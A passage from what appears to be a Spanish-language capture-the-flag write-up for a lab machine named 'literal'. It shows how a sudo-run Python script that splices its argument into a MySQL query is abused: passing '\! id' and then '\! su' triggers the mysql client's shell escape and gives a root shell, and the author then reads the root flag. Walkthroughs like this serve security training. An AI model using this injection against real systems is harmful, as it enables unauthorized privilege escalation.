source (\.) Execute an SQL script file. Takes a file name as an argument.
status (\s) Get status information from the server.
system (\!) Execute a system shell command.
tee (\T) Set outfile [to_outfile]. Append everything into given outfile.
use (\u) Use another database. Takes database name as argument.
charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets.
warnings (\W) Show warnings after every statement.
nowarning (\w) Don't show warnings after every statement.
resetconnection(\x) Clean session context.
query_attributes Sets string parameters (name1 value1 name2 value2 ...) for the next query to pick up.
ssl_session_data_print Serializes the current SSL session data to stdout or file
For server side help, type 'help contents'
mysql> \! id;
uid=1000(carlos) gid=1000(carlos) groups=1000(carlos)
mysql>
Si esta hubiera sido nuestro argumento
en el script la query
que se hubiera ejecutado seria la siguiente, que aunque la sintaxis no es perfecta se ejecuta
mysql> SELECT * FROM projects WHERE proid = \! id;
uid=1000(carlos) gid=1000(carlos) groups=1000(carlos)
->
Podemos comprobarlo, le pasamos \! id
como primer argumento
y ocultamos los errores, como lo ejecutamos con sudo
el output del comando id
es de root
carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py '\! id' 2>/dev/null
uid=0(root) gid=0(root) groups=0(root)
carlos@literal:~$
Simplemente nos queda cambiar el id por su
para convertirnos en root y ver la flag
carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py '\! su'
root@literal:~# id
uid=0(root) gid=0(root) groups=0(root)
root@literal:~# hostname -I
192.168.100.87
root@literal:~# cat /root/root.txt
ca4**************************730
root@literal:~#